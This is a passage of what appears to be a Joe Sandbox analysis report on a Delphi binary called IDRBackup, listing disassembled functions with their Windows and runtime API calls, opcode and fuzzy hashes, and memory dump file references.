Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: AnsiL120System@@$StringSystem@%$T$us$i0$%.$Len$qqrx27$EnsureString$qqrr27T$us$i0$%us.$Char$qqrx27$Clr$qqrpv.Length$qqrv.$Ref$qqrpv.
String ID:
API String ID: 2909827542-0
Opcode ID: 86df87d7adbb7fd14f86790bcd5a31826d312232f1727bd1de49385034b65166
Instruction ID: 4f8bd0e03c91ea51e845c4682a1c2cb9563a69946fbc0d84302782948a6b255a
Opcode Fuzzy Hash: 86df87d7adbb7fd14f86790bcd5a31826d312232f1727bd1de49385034b65166
Instruction Fuzzy Hash: 69318475A126849FE30CDBB9E8505DE73EAEFC82607A48537B014C7382DA35DE019692

Function 57021AC0 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 238fileCOMMON

Download Yara Rule

APIs

Part of subcall function 57020704: GetVersion.KERNEL32(00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 57020748
Part of subcall function 57020704: CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 57020761
Part of subcall function 57020704: @System@@UStrClr$qqrpv.RTL120.BPL(570207C3,00000000,00000003,00000000,00000000,00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 570207AE
Part of subcall function 57020704: @System@@LStrClr$qqrpv.RTL120.BPL(570207C3,00000000,00000003,00000000,00000000,00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 570207B6

GetFileSize.KERNEL32(000000FF,00000000,00000000,57021D60,?,00000000,57021D83), ref: 57021B0E
@System@@GetMem$qqri.RTL120.BPL(000000FF,00000000,00000000,57021D60,?,00000000,57021D83), ref: 57021B17
ReadFile.KERNEL32(000000FF,?,00000000,?,00000000,00000000,57021D42,?,000000FF,00000000,00000000,57021D60,?,00000000,57021D83), ref: 57021B3C
@System@@DynArraySetLength$qqrv.RTL120.BPL(?,000000FF,?,00000000,?,00000000,00000000,57021D42,?,000000FF,00000000,00000000,57021D60,?,00000000,57021D83), ref: 57021B82
@System@@DynArrayHigh$qqrv.RTL120.BPL ref: 57021B94
@System@@GetMem$qqri.RTL120.BPL(?,?,000000FF,000000FF,?,00000000,?,00000000,00000000,57021D42,?,000000FF,00000000,00000000,57021D60), ref: 57021BEE
@System@Move$qqrpxvpvi.RTL120.BPL(00000000,57021D25,?,?,?,000000FF,000000FF,?,00000000,?,00000000,00000000,57021D42,?,000000FF,00000000), ref: 57021C0F
@System@Move$qqrpxvpvi.RTL120.BPL(00000000,57021D25,?,?,?,000000FF,000000FF,?,00000000,?,00000000,00000000,57021D42,?,000000FF,00000000), ref: 57021C48
@System@@DynArrayLength$qqrv.RTL120.BPL(00000000,57021D25,?,?,?,000000FF,000000FF,?,00000000,?,00000000,00000000,57021D42,?,000000FF,00000000), ref: 57021C50
@System@@TryFinallyExit$qqrv.RTL120.BPL(00000000,57021D25,?,?,?,000000FF,000000FF,?,00000000,?,00000000,00000000,57021D42,?,000000FF,00000000), ref: 57021CCA
@System@@TryFinallyExit$qqrv.RTL120.BPL(00000000,57021D25,?,?,?,000000FF,000000FF,?,00000000,?,00000000,00000000,57021D42,?,000000FF,00000000), ref: 57021CCF
@System@@TryFinallyExit$qqrv.RTL120.BPL(00000000,57021D25,?,?,?,000000FF,000000FF,?,00000000,?,00000000,00000000,57021D42,?,000000FF,00000000), ref: 57021CD4
@System@@FreeMem$qqrpv.RTL120.BPL(57021D2C,?,?,000000FF,000000FF,?,00000000,?,00000000,00000000,57021D42,?,000000FF,00000000,00000000,57021D60), ref: 57021D1F
@System@@FreeMem$qqrpv.RTL120.BPL(57021D49,?,00000000,00000000,57021D42,?,000000FF,00000000,00000000,57021D60,?,00000000,57021D83), ref: 57021D3C
@System@@DynArrayClear$qqrrpvpv.RTL120.BPL(57021D8A), ref: 57021D7D

Strings

2, xrefs: 57021BC8

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120$System@@$Array$Exit$qqrv.FileFinally$Clr$qqrpv.FreeLength$qqrv.Mem$qqri.Mem$qqrpv.Move$qqrpxvpvi.System@$Clear$qqrrpvpv.CreateHigh$qqrv.ReadSizeVersion
String ID: 2
API String ID: 1636793033-450215437
Opcode ID: 91763ebd2e29b5c3cd9b2e1870188820d17ba5e7d95f3ed4183d1ad091fe81b4
Instruction ID: ca7296235b33b838dd0b65a7acb915031ac2378a319c7a6e7be2e4336b017133
Opcode Fuzzy Hash: 91763ebd2e29b5c3cd9b2e1870188820d17ba5e7d95f3ed4183d1ad091fe81b4
Instruction Fuzzy Hash: 9B81AC76A11189AFCB00CFE9DC81AAEB7F9FB48320F508476F910D7291D638D941DBA1

Function 5701FEE8 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,57020062), ref: 5701FF25
GetTempPathW.KERNEL32(00000104,?,00000000,57020062), ref: 5701FF3D
@System@@UStrFromWArray$qqrr20System@UnicodeStringpbi.RTL120.BPL(00000104,?,00000000,57020062), ref: 5701FF57
@System@@UStrCat3$qqrr20System@UnicodeStringx20System@UnicodeStringt2.RTL120.BPL(00000104,?,00000000,57020062), ref: 5701FF69
@System@@UStrAsg$qqrr20System@UnicodeStringx20System@UnicodeString.RTL120.BPL(00000104,?,00000000,57020062), ref: 5701FF74
GetTempPathA.KERNEL32(00000104,?,00000000,57020062), ref: 5701FF87
@System@@LStrFromPChar$qqrr27System@%AnsiStringT$us$i0$%pcus.RTL120.BPL(00000104,?,00000000,57020062), ref: 5701FFA1
@System@@UStrFromLStr$qqrr20System@UnicodeStringx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000104,?,00000000,57020062), ref: 5701FFB2
@System@@UStrCat3$qqrr20System@UnicodeStringx20System@UnicodeStringt2.RTL120.BPL(00000104,?,00000000,57020062), ref: 5701FFC4
GetCurrentProcessId.KERNEL32(?,$mad$res,?,00000104,?,00000000,57020062), ref: 5701FFE2
@System@@UStrCatN$qqrv.RTL120.BPL(570200AC,?,?,$mad$res,?,00000104,?,00000000,57020062), ref: 57020024
@System@@UStrArrayClr$qqrpvi.RTL120.BPL(57020069,$mad$res,?,00000104,?,00000000,57020062), ref: 57020041
@System@@LStrClr$qqrpv.RTL120.BPL(57020069,$mad$res,?,00000104,?,00000000,57020062), ref: 5702004C
@System@@UStrArrayClr$qqrpvi.RTL120.BPL(57020069,$mad$res,?,00000104,?,00000000,57020062), ref: 5702005C

Strings

$mad$res, xrefs: 5701FFD6

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$System@Unicode$FromStringx20$AnsiArrayCat3$qqrr20Clr$qqrpvi.PathStringStringt2.System@%Temp$Array$qqrr20Asg$qqrr20Char$qqrr27Clr$qqrpv.CurrentN$qqrv.ProcessStr$qqrr20String.Stringpbi.Stringx27T$us$i0$%.T$us$i0$%pcus.Version
String ID: $mad$res
API String ID: 773505022-4106660001
Opcode ID: 7639af3bbacb0ef097f8a6c2eaef2133e2b0be71c183356c1b6fb9799cb85bd0
Instruction ID: 12f58070075d188e2e9152a81145f97ef788265aff5f598ca0235d522e5619e8
Opcode Fuzzy Hash: 7639af3bbacb0ef097f8a6c2eaef2133e2b0be71c183356c1b6fb9799cb85bd0
Instruction Fuzzy Hash: C431987495229C9FE714DBA4DC84BDEB3F9EF48310F8041FAA50CD3292D6709E458E96

Function 5701411C Relevance: 27.3, APIs: 18, Instructions: 326COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 57014152
EnterCriticalSection.KERNEL32(5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 5701415C
@System@@DynArrayHigh$qqrv.RTL120.BPL(00000000,570144D6,?,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 57014174
@System@@DynArrayAsg$qqrv.RTL120.BPL(00000000,570144D6,?,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 570141C4
@System@@TryFinallyExit$qqrv.RTL120.BPL(00000000,570144D6,?,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 570141C9
@System@@DynArraySetLength$qqrv.RTL120.BPL(?,00000000,570144D6,?,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 570141F7
@System@@DynArraySetLength$qqrv.RTL120.BPL(?,?,00000000), ref: 57014222
@System@@DynArraySetLength$qqrv.RTL120.BPL(?,?,00000000), ref: 5701423C
@System@@DynArraySetLength$qqrv.RTL120.BPL(?,?,?,00000000), ref: 57014282
@System@@DynArraySetLength$qqrv.RTL120.BPL(?,00000000,570144D6,?,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 5701433C
@System@@DynArraySetLength$qqrv.RTL120.BPL(00000009,00000000), ref: 57014354
@System@@DynArraySetLength$qqrv.RTL120.BPL(00000009,?,00000000), ref: 5701436C
@System@@DynArraySetLength$qqrv.RTL120.BPL(00000011,?,?,00000000), ref: 570143B0
@System@@DynArrayLength$qqrv.RTL120.BPL(?,?,00000000), ref: 5701445A
@System@@DynArraySetLength$qqrv.RTL120.BPL(00000001,?,?,00000000), ref: 57014475
@System@@DynArrayAsg$qqrv.RTL120.BPL(?,?,?,00000000), ref: 570144B9
LeaveCriticalSection.KERNEL32(5702EDB0,570144DD,00000000), ref: 570144D0
@System@@FinalizeArray$qqrpvt1ui.RTL120.BPL(57014505,5702EDB0,00000000,570144FE,?,?,?,00000000), ref: 570144F8

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Array$Length$qqrv.$CriticalSection$Asg$qqrv.$Array$qqrpvt1ui.EnterExit$qqrv.FinalizeFinallyHigh$qqrv.InitializeLeave
String ID:
API String ID: 3890879405-0
Opcode ID: 25c2437b856635c3c5d9359aeb3b8b8f52be854910d36e9d2509fac546e81d48
Instruction ID: 53423baa2034435d7d65145933a8c498ba5aa77fdf54ae29a066007ba7fd2799
Opcode Fuzzy Hash: 25c2437b856635c3c5d9359aeb3b8b8f52be854910d36e9d2509fac546e81d48
Instruction Fuzzy Hash: 38C16CB1E01149AFDB44CF98D881ADEBBF5FB48320F61806AE815E7391D634EE41CB91

Function 5701D89C Relevance: 22.6, APIs: 15, Instructions: 76COMMON

Download Yara Rule

APIs

@System@@LStrAddRef$qqrpv.RTL120.BPL ref: 5701D8A9
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,5701D973), ref: 5701D8C1
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5701D973), ref: 5701D8C6
@System@@LStrSetLength$qqrv.RTL120.BPL(00000000,5701D973), ref: 5701D8DF
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5701D973), ref: 5701D8E6
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,00000000,5701D973), ref: 5701D8F1
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,00000000,5701D973), ref: 5701D8F6
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(-0000000C,00000000,00000000,5701D973), ref: 5701D901
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,-0000000C,00000000,00000000,5701D973), ref: 5701D90A
@System@@LStrSetLength$qqrv.RTL120.BPL(00000000,5701D973), ref: 5701D91F
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5701D973), ref: 5701D92B
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,00000000,5701D973), ref: 5701D933
@System@@LStrClr$qqrpv.RTL120.BPL(00000000,5701D973), ref: 5701D94F
@System@@LStrClr$qqrpv.RTL120.BPL(00000000,5701D973), ref: 5701D958
@System@@LStrClr$qqrpv.RTL120.BPL(5701D97A), ref: 5701D96D

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Ansi$StringSystem@%$T$us$i0$%.$Len$qqrx27$Char$qqrx27Clr$qqrpv.$EnsureLength$qqrv.String$qqrr27T$us$i0$%us.$Ref$qqrpv.
String ID:
API String ID: 3882253038-0
Opcode ID: f58278fc7a1040d47770f57c756adf8992e51380b3f5f5fb14ba477a245f54f4
Instruction ID: 4631c163a2a7f6ca91737d8fd6b08601d72405bb89edca209eef44218b29d4ff
Opcode Fuzzy Hash: f58278fc7a1040d47770f57c756adf8992e51380b3f5f5fb14ba477a245f54f4
Instruction Fuzzy Hash: 6F2193306111849FE709EBBCEC90A9E73E9EF492207904577F014D7396DA34EE01C692

Function 57003E54 Relevance: 21.1, APIs: 14, Instructions: 72COMMON

Download Yara Rule

APIs

@System@@LStrAddRef$qqrpv.RTL120.BPL ref: 57003E64
@System@@LStrAddRef$qqrpv.RTL120.BPL ref: 57003E6C
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,57003F22), ref: 57003E84
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,57003F22), ref: 57003E89
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,57003F22), ref: 57003E95
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,57003F22), ref: 57003E9A
@System@@LStrArrayClr$qqrpvi.RTL120.BPL(57003F29), ref: 57003F1C

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Ansi$StringSystem@%$EnsureLen$qqrx27Ref$qqrpv.String$qqrr27T$us$i0$%.T$us$i0$%us.$ArrayClr$qqrpvi.
String ID:
API String ID: 1632476202-0
Opcode ID: f19b13e4caa5a8225b375b54b9f341cf74a551df753036e9b2aeb27984621037
Instruction ID: 6cd6c055a8f973b0dcc97be0894d9599a56b19d75feab1e5a8a36e0cad729697
Opcode Fuzzy Hash: f19b13e4caa5a8225b375b54b9f341cf74a551df753036e9b2aeb27984621037
Instruction Fuzzy Hash: 67217534A15284AFFB09EBF4DC80ADEB7FCDF88260FD14476A400D63C2DA34AA049592

Function 57003F30 Relevance: 21.1, APIs: 14, Instructions: 68COMMON

Download Yara Rule

APIs

@System@@UStrAddRef$qqrpv.RTL120.BPL ref: 57003F40
@System@@UStrAddRef$qqrpv.RTL120.BPL ref: 57003F48
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,57003FF6), ref: 57003F5E
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(00000000,57003FF6), ref: 57003F63
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,57003FF6), ref: 57003F6D
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(00000000,57003FF6), ref: 57003F72
@System@@UStrArrayClr$qqrpvi.RTL120.BPL(57003FFD), ref: 57003FF0

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Unicode$String.System@$EnsureLen$qqrx20Ref$qqrpv.String$qqrr20$ArrayClr$qqrpvi.
String ID:
API String ID: 3854879249-0
Opcode ID: 3fac53c6773c257f5dfaea931f62e71fde5eda83e159fcf5c4732665c55e9afd
Instruction ID: 9593164094f00e434f8bb6fa6fc4cd57573fc31a7bfed3e4a6d55dfd41761455
Opcode Fuzzy Hash: 3fac53c6773c257f5dfaea931f62e71fde5eda83e159fcf5c4732665c55e9afd
Instruction Fuzzy Hash: E2111230A25188EFFB05EBF4D881A9EB7F89F05260FE10177F510D22D2DB349E548696

Function 57021ABE Relevance: 19.7, APIs: 13, Instructions: 190fileCOMMON

Download Yara Rule

APIs

Part of subcall function 57020704: GetVersion.KERNEL32(00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 57020748
Part of subcall function 57020704: CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 57020761
Part of subcall function 57020704: @System@@UStrClr$qqrpv.RTL120.BPL(570207C3,00000000,00000003,00000000,00000000,00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 570207AE
Part of subcall function 57020704: @System@@LStrClr$qqrpv.RTL120.BPL(570207C3,00000000,00000003,00000000,00000000,00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 570207B6

GetFileSize.KERNEL32(000000FF,00000000,00000000,57021D60,?,00000000,57021D83), ref: 57021B0E
@System@@GetMem$qqri.RTL120.BPL(000000FF,00000000,00000000,57021D60,?,00000000,57021D83), ref: 57021B17
ReadFile.KERNEL32(000000FF,?,00000000,?,00000000,00000000,57021D42,?,000000FF,00000000,00000000,57021D60,?,00000000,57021D83), ref: 57021B3C
@System@@DynArraySetLength$qqrv.RTL120.BPL(?,000000FF,?,00000000,?,00000000,00000000,57021D42,?,000000FF,00000000,00000000,57021D60,?,00000000,57021D83), ref: 57021B82
@System@@DynArrayHigh$qqrv.RTL120.BPL ref: 57021B94
@System@@GetMem$qqri.RTL120.BPL(?,?,000000FF,000000FF,?,00000000,?,00000000,00000000,57021D42,?,000000FF,00000000,00000000,57021D60), ref: 57021BEE
@System@Move$qqrpxvpvi.RTL120.BPL(00000000,57021D25,?,?,?,000000FF,000000FF,?,00000000,?,00000000,00000000,57021D42,?,000000FF,00000000), ref: 57021C0F
@System@Move$qqrpxvpvi.RTL120.BPL(00000000,57021D25,?,?,?,000000FF,000000FF,?,00000000,?,00000000,00000000,57021D42,?,000000FF,00000000), ref: 57021C48
@System@@DynArrayLength$qqrv.RTL120.BPL(00000000,57021D25,?,?,?,000000FF,000000FF,?,00000000,?,00000000,00000000,57021D42,?,000000FF,00000000), ref: 57021C50
@System@@TryFinallyExit$qqrv.RTL120.BPL(00000000,57021D25,?,?,?,000000FF,000000FF,?,00000000,?,00000000,00000000,57021D42,?,000000FF,00000000), ref: 57021CCA
@System@@TryFinallyExit$qqrv.RTL120.BPL(00000000,57021D25,?,?,?,000000FF,000000FF,?,00000000,?,00000000,00000000,57021D42,?,000000FF,00000000), ref: 57021CCF
@System@@TryFinallyExit$qqrv.RTL120.BPL(00000000,57021D25,?,?,?,000000FF,000000FF,?,00000000,?,00000000,00000000,57021D42,?,000000FF,00000000), ref: 57021CD4
@System@@FreeMem$qqrpv.RTL120.BPL(57021D2C,?,?,000000FF,000000FF,?,00000000,?,00000000,00000000,57021D42,?,000000FF,00000000,00000000,57021D60), ref: 57021D1F
@System@@FreeMem$qqrpv.RTL120.BPL(57021D49,?,00000000,00000000,57021D42,?,000000FF,00000000,00000000,57021D60,?,00000000,57021D83), ref: 57021D3C
@System@@DynArrayClear$qqrrpvpv.RTL120.BPL(57021D8A), ref: 57021D7D

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120$System@@$Array$Exit$qqrv.FileFinally$Clr$qqrpv.FreeLength$qqrv.Mem$qqri.Mem$qqrpv.Move$qqrpxvpvi.System@$Clear$qqrrpvpv.CreateHigh$qqrv.ReadSizeVersion
String ID:
API String ID: 1636793033-0
Opcode ID: 6bd15e7229dddc2ec008d57ee25b08986ab1bc2f87b3d985017837b151eeab4c
Instruction ID: ed6f235b05ff2d293f189b6405c31d3a1abef844b1417bcdaa983cc34bff3498
Opcode Fuzzy Hash: 6bd15e7229dddc2ec008d57ee25b08986ab1bc2f87b3d985017837b151eeab4c
Instruction Fuzzy Hash: 35618D76E11189AFDB00CFE9CC81AAEB7F9FB48310F518476F910D7291E638D9419BA1

Function 5701E2E4 Relevance: 19.6, APIs: 13, Instructions: 147fileCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,5701E48E), ref: 5701E30B
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701E48E), ref: 5701E328
CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701E48E), ref: 5701E32E

Part of subcall function 570195B4: MapViewOfFile.KERNEL32(?,?,?,?), ref: 570195C2

@System@@LStrFromUStr$qqrr27System@%AnsiStringT$us$i0$%x20System@UnicodeStringus.RTL120.BPL(80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701E48E), ref: 5701E350
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701E48E), ref: 5701E358
CreateFileA.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701E48E), ref: 5701E35E
GetFileSize.KERNEL32(00000000,?,00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701E48E), ref: 5701E373
CreateFileMappingA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000), ref: 5701E385
UnmapViewOfFile.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,?,00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 5701E3E3
UnmapViewOfFile.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,?,00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 5701E456
CloseHandle.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,?,00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 5701E46D
CloseHandle.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,?,00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 5701E473
@System@@LStrClr$qqrpv.RTL120.BPL(5701E495,00000000,00000003,00000000,00000000,00000000,5701E48E), ref: 5701E488

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
